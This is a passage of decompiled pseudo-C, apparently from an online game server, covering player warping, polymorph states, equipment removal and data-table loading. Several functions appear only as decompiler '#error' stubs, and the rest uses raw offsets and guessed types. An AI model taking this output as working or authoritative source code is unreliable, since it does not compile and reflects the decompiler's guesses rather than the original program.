v4, range, 0, (int)&alaa, 0, 65535); LOBYTE(v7) = 0; alaa.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListAggroAdjust::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alaa); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust"); } // 5B73EC: using guessed type int (__stdcall *AxialListAggroAdjust___vftable_)(int, int, int distancesquar); //----- (00479050) -------------------------------------------------------- #error "479050: undefined or illegal type '#325' (funcsize=39)" //----- (00479100) -------------------------------------------------------- void __usercall ShineObjectClass::ShineMobileObject::smo_WarpTo(int a1, int locate, int a3, int sklidx, int sklidxa) { int v5; // esi@1 int v6; // ecx@1 int v7; // eax@1 int v8; // eax@4 int v9; // eax@4 char *v10; // edi@7 int v11; // eax@9 char *v12; // eax@10 int v13; // ecx@10 int v14; // ST18_4@10 int v15; // eax@10 int from_4; // [sp+44h] [bp-24h]@4 SHINE_XY_TYPE goal; // [sp+48h] [bp-20h]@3 AxialListPacketBroadcast alchat; // [sp+50h] [bp-18h]@4 int v19; // [sp+64h] [bp-4h]@1 void *v20; // [sp+68h] [bp+0h]@10 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_WarpTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v6 = funcallanalizer.fca_stackpoint++ + 1; v7 = *(_DWORD *)(v5 + 98); v19 = 0; if ( !v7 ) { funcallanalizer.fca_stackpoint = v6 - 1; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); return; } if ( ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v5, sklidx, *(_DWORD *)(sklidxa + 172), (int)&goal, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) { v8 = *(_DWORD *)v5; from_4 = *(_DWORD *)(*(_DWORD *)(v5 + 78) + 4); *(_DWORD *)(v5 + 144) = 0; (*(void (__thiscall **)(int, int))(v8 + 2528))(v5, a3); (*(void (__thiscall **)(int, signed int, _DWORD, signed int))(*(_DWORD *)v5 + 828))(v5, 2, 0, 3); v9 = *(_DWORD *)(v5 + 78); *(_DWORD *)v9 = alchat.baseclass_0.vfptr; *(_DWORD *)(v9 + 4) = alchat.alpb_packet; if ( !FieldMap::fm_Marking(*(#325 **)(v5 + 98), v5, 0, 0) ) { (*(void (__thiscall **)(int, _DWORD, _DWORD, int))(*(_DWORD *)v5 + 2740))( v5, *(_WORD *)(v5 + 7128), *(_DWORD *)(v5 + 7144), v5 + 7164); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9296; *((_WORD *)v10 + 1) = **(_WORD **)(sklidxa + 4); *((_DWORD *)v10 + 1) = *(_DWORD *)sklidx; *((_DWORD *)v10 + 2) = *(_DWORD *)(sklidx + 4); *((_WORD *)v10 + 6) = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_BlastA : Packet Too Long", 14); } v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18472; *((_WORD *)v12 + 1) = *(_WORD *)(v5 + 4); *((_DWORD *)v12 + 2) = goal.x; *((_DWORD *)v12 + 1) = from_4; v13 = *(_DWORD *)(v5 + 78); *((_DWORD *)v12 + 3) = *(_DWORD *)v13; *((_DWORD *)v12 + 4) = *(_DWORD *)(v13 + 4); *((_WORD *)v12 + 10) = **(_WORD **)(sklidxa + 4); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)((char *)&alchat + 4), &gpp, 22); v14 = *(_DWORD *)(v5 + 78); LOBYTE(v20) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v5, v15, v14, 0, 0, (int)&alchat.alpb_packet, 1, 65535); MoveManager::mm_Halt((MoveManager *)(v5 + 140)); LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v19 = -1; goto LABEL_11; } (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v5 + 1464))(v5, 1669, 0); } v19 = -1; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_WarpTo"); } // 479100: could not find valid save-restore pair for ebp //----- (00479380) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this) { void *v1; // esi@1 bool v2; // zf@1 int v3; // eax@1 int v4; // [sp-4h] [bp-14h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__stdcall **)(int))(**((_DWORD **)v1 + 1001) + 56))(v4) == 11; v3 = *(_DWORD *)v1; if ( v2 ) { (*(void (__thiscall **)(void *))(v3 + 2380))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 2380))(v1, 10); } else { (*(void (__thiscall **)(void *))(v3 + 2380))(v1); } (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2728))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2732))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon"); } //----- (00479450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 56))() == 6 || (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 56))() == 1 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v1 + 2380))(v1, 10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield"); } //----- (00479510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot) { void *v2; // esi@1 int v3; // edx@1 DiceTaiSai *v4; // eax@3 DiceTaiSai *v5; // ebx@3 int v6; // eax@4 int v7; // eax@5 ChargedEffectContainer *v8; // ST30_4@6 int v9; // eax@6 int v10; // edx@6 InventoryLocking::InventoryCellLock *v11; // eax@6 int v12; // eax@8 __int16 v13; // bp@8 void *v14; // eax@8 char *v15; // edi@8 int v16; // eax@8 int v17; // eax@8 int v18; // edi@8 char v19; // al@8 ZoneBaseSession *v20; // eax@9 int v21; // eax@10 int v22; // ebp@10 int v23; // edx@10 int v24; // eax@10 int v25; // eax@10 int v26; // ebp@10 int v27; // eax@10 int v28; // eax@10 int v29; // eax@10 int v30; // edi@10 int v31; // ebp@10 int v32; // eax@10 int v33; // eax@10 InventoryLocking::InventoryCellLock *v34; // eax@10 char *v35; // [sp+30h] [bp-4Ch]@2 int v36; // [sp+44h] [bp-38h]@8 FunctionEntarance _; // [sp+48h] [bp-34h]@1 int v38; // [sp+4Ch] [bp-30h]@10 void *invcell; // [sp+50h] [bp-2Ch]@8 InventoryLocking::UnlockedInventoryIterator emptycelliter; // [sp+54h] [bp-28h]@6 ItemBoxIterEmpty emptycellitertmp; // [sp+60h] [bp-1Ch]@6 int v42; // [sp+78h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 14434); v42 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, int))(v3 + 12))((char *)v2 + 57736, 8, equipslot) ) { v35 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v35); return; } v4 = (DiceTaiSai *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8042))( (char *)v2 + 32168, equipslot); v5 = v4; if ( !v4 || (MoveManager::MoveManager(v4), !v6) || (MoveManager::MoveManager(v5), *(_WORD *)(v7 + 8) == -1) ) { v35 = "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip"; goto LABEL_12; } v8 = (ChargedEffectContainer *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1156))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1128))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty(&emptycellitertmp, (ItemBag *)(v9 + 3368), v8); v10 = *(_DWORD *)v2; LOBYTE(v42) = 1; v11 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v10 + 1916))(v2); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( &emptycelliter, 9, &emptycellitertmp.baseclass_0, v11); LOBYTE(v42) = 2; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&emptycelliter) ) { v12 = InventoryLocking::UnlockedInventoryIterator::uii_Slot(&emptycelliter); v13 = v12; v14 = (void *)(*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8884))( (char *)v2 + 35536, v12); v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13439; invcell = v14; *((_WORD *)v15 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v16 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); *((_WORD *)v15 + 9) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v16); v36 = (int)(v15 + 16); *((_WORD *)v15 + 8) = v13 & 0x3FF | 0x2400; MoveManager::MoveManager(v5); *((_DWORD *)v15 + 2) = *(_DWORD *)v17; *((_DWORD *)v15 + 3) = *(_DWORD *)(v17 + 4); v18 = (int)(v15 + 20); *(_WORD *)v18 = equipslot & 0x3FF | 0x2000; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip : Packet Too Long", 22) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); v22 = *(_DWORD *)v21; v23 = *(_DWORD *)v2; v38 = v21; v24 = (*(int (__thiscall **)(void *, DiceTaiSai *, int, int))(v23 + 1916))(v2, v5, v18, v36); LOWORD(v25) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v24); (*(void (__thiscall **)(InventoryLocking::InventoryCellLock *, int))(v22 + 40))(emptycelliter.uii_LockList, v25); v26 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v38 = *(_DWORD *)v26; MoveManager::MoveManager(v5); v28 = (*(int (__thiscall **)(void *, void *, int, int, int))(*(_DWORD *)v2 + 1916))(v2, invcell, v27, v36, v18); LOWORD(v29) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v28); (*(void (__thiscall **)(int, int))(emptycelliter.uii_InvenType + 48))(v26, v29); v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v31 = *(_DWORD *)v30; v32 = (*(int (__thiscall **)(void *, int, DiceTaiSai *, signed int, _DWORD))(*(_DWORD *)v2 + 1916))( v2, equipslot, v5, -1, 0); LOWORD(v33) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v32); (*(void (__thiscall **)(int, int))(v31 + 64))(v30, v33); v34 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v34); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v42) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v42 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&emptycelliter); LOBYTE(v42) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&emptycellitertmp); v42 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00479850) -------------------------------------------------------- #error "479850: undefined or illegal type '#325' (funcsize=95)" //----- (004799B0) -------------------------------------------------------- #error "4799B0: undefined or illegal type '#325' (funcsize=60)" //----- (00479A90) -------------------------------------------------------- #error "479A90: undefined or illegal type '#325' (funcsize=90)" //----- (00479BE0) -------------------------------------------------------- #error "479BE0: undefined or illegal type '#325' (funcsize=112)" //----- (00479D70) -------------------------------------------------------- #error "479D70: undefined or illegal type '#325' (funcsize=108)" //----- (00479F00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2) { void *v2; // esi@1 signed __int16 v3; // di@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // eax@2 char *v5; // eax@5 int v6; // ST0C_4@5 int v7; // eax@5 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@5 int v9; // [sp+38h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( a2 ) { v3 = *(_WORD *)(a2 + 20); v4 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, void *, signed int, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, _DWORD, signed int, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 291, 1, v4, clockwatch.cw_CurrTick, 0, 0, 1000000000, 9); } else { v3 = -1; if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 988))(v2, 291) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1544))(v2, 291); } *(_WORD *)(*(_DWORD *)((char *)v2 + 32010) + 78) = v3; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v5 + 2) = v3; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v7, v6, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Polymorph"); } //----- (0047A060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ST0C_4@1 int v7; // eax@1 AxialListPacketBroadcast alchat; // [sp+2Ch] [bp-18h]@1 int v9; // [sp+40h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(*(_DWORD *)((char *)v4 + 32010) + 78) = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4271; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); v9 = 0; *((_WORD *)v5 + 2) = -1; *((_WORD *)v5 + 3) = -1; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v9) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 97); if ( (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 988))(v4, 291) ) (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 291); AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_IMMORTAL); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1544))(v4, 291); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD"); } //----- (0047A1B0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer"); return 0; } //----- (0047A200) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (**)(void))(*(_DWORD *)a2 + 2160))(); LOBYTE(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2160))(v2) != v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMap::so_mob_CanBeAttackedByPlayer"); return v3; } //----- (0047A2C0) -------------------------------------------------------- #error "47A2C0: undefined or illegal type '#434' (funcsize=54)" //----- (0047A3B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SoulManage(#325 *this, SkillDataBox::SkillDataIndex *a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SoulManage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SoulManage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SoulManage"); } //----- (0047A400) -------------------------------------------------------- #error "47A400: undefined or illegal type '#325' (funcsize=122)" //----- (0047A5D0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineMobileObject::smo_HowMachSoul(int sklidx, int soulcollect) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)soulcollect = 0; *(_BYTE *)(soulcollect + 4) = 0; *(_DWORD *)(soulcollect + 8) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HowMachSoul"); return soulcollect; } //----- (0047A640) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_HowMachSoul(void *this, int sklidx, int soulcollect, int a4) { void *v4; // esi@1 int v5; // eax@4 int v6; // esi@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_HowMachSoul"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_HowMachSoul"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx && *(_DWORD *)sklidx && *(_BYTE *)(*(_DWORD *)(sklidx + 4) + 640) && (v5 = (int)((char *)v4 + 92552), a4 == *((_DWORD *)v4 + 23138)) ) { v6 = soulcollect; *(_DWORD *)soulcollect = *(_DWORD *)v5; *(_DWORD *)(soulcollect + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(soulcollect + 8) = *(_DWORD *)(v5 + 8); } else { v6 = soulcollect; *(_DWORD *)soulcollect = 0; *(_BYTE *)(soulcollect + 4) = 0; *(_DWORD *)(soulcollect + 8) = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_HowMachSoul"); return v6; } //----- (0047A6E0) -------------------------------------------------------- #error "47A6E0: undefined or illegal type '#325' (funcsize=137)" //----- (0047A8A0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute(int condition) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_AbnormalStateAttribute"); return 0; } //----- (0047A8F0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_smo_RangeEvation() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_RangeEvation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_RangeEvation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_RangeEvation"); return 0; } //----- (0047A940) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smo_RangeEvation(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 3546); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smo_RangeEvation"); return v2; } //----- (0047A9B0) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata) { int i; // ebx@1 void *v3; // eax@2 void *v4; // edi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // esi@6 unsigned int v8; // eax@6 char v9; // cl@8 char v10; // cl@8 ORToken v11; // [sp-18h] [bp-30h]@2 int v12; // [sp-14h] [bp-2Ch]@2 int v13; // [sp-10h] [bp-28h]@2 int v14; // [sp-Ch] [bp-24h]@2 int v15; // [sp-8h] [bp-20h]@2 int v16; // [sp-4h] [bp-1Ch]@2 void *base; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@2 base = this; for ( i = 0; ; ++i ) { v16 = i; v18 = &v11; v15 = 0; v14 = 0; v13 = 0; v12 = 0; *(_DWORD *)&v11.ort_Name[0] = 0; strncpy(v11.ort_Name, "Polymorph", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, v11, v16); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 69) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Polymorph : Checksum error", v5); ShineExit("MiscDataTable::mdt_Polymorph"); } MiscDataTable::mdt_SkillBufferAlloc(base, (const char *)v4 + 1); v7 = v6; v8 = BTree::operator__(&mobdatabox.mdb_btree, (const char *)v4 + 34); if ( v8 == -1 ) LOWORD(v8) = -1; v9 = *(_BYTE *)(v7 + 22); *(_WORD *)(v7 + 20) = v8; v10 = (v9 ^ *((_BYTE *)v4 + 67)) & 1 ^ v9; *(_BYTE *)(v7 + 22) = v10; *(_BYTE *)(v7 + 22) = v10 ^ (v10 ^ 2 * *((_BYTE *)v4 + 68)) & 2; } } //----- (0047AA90) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata) { int i; // edi@1 void *v3; // eax@2 void *v4; // esi@2 unsigned __int8 v5; // al@3 int v6; // eax@6 int v7; // [sp-18h] [bp-2Ch]@2 int v8; // [sp-14h] [bp-28h]@2 int v9; // [sp-10h] [bp-24h]@2 int v10; // [sp-Ch] [bp-20h]@2 int v11; // [sp-8h] [bp-1Ch]@2 int v12; // [sp-4h] [bp-18h]@2 void *base; // [sp+10h] [bp-4h]@1 base = this; for ( i = 0; ; ++i ) { v12 = i; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; strncpy((char *)&v7, "Neutralization", 0x14u); v3 = OptionReader::or_SelectFromOrder(miscdata, *(ORToken *)&v7, v12); v4 = v3; if ( !v3 ) break; v5 = *(_BYTE *)v3; if ( *(_BYTE *)v4 != *((_BYTE *)v4 + 42) ) { AssertClass::ac_AssertFail(&shineassert, "MiscDataTable::mdt_Neutralization : Checksum error", v5); ShineExit("MiscDataTable::mdt_Neutralization"); } MiscDataTable::mdt_SkillBufferAlloc(base, (const char *)v4 + 1); *(_BYTE *)(v6 + 23) = 1; *(_WORD *)(v6 + 48) = *((_WORD *)v4 + 17); *(_WORD *)(v6 + 44) = *((_WORD *)v4 + 18); *(_WORD *)(v6 + 38) = *((_WORD *)v4 + 19); *(_WORD *)(v6 + 62) = *((_WORD *)v4 + 20); } } //----- (0047AB50) -------------------------------------------------------- void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata) { void *v2; // eax@2 void *v3; // edi@2 unsigned __int8 v4; // al@3 MiscDataTable::MiscData_AbState *v5; // esi@6 char v6; // cl@6 char v7; // al@6 char v8; // cl@6 unsigned int v9; // ebx@6 unsigned int v10; // edx@6 char *v11; // eax@14 int v12; // edi@15 int v13; // ebx@15 int v14; // ecx@15 int v15; // eax@15 int v16; // ecx@15 char *v17; // eax@27 ORToken v18; // [sp-18h] [bp-F0h]@2 int v19; // [sp-14h] 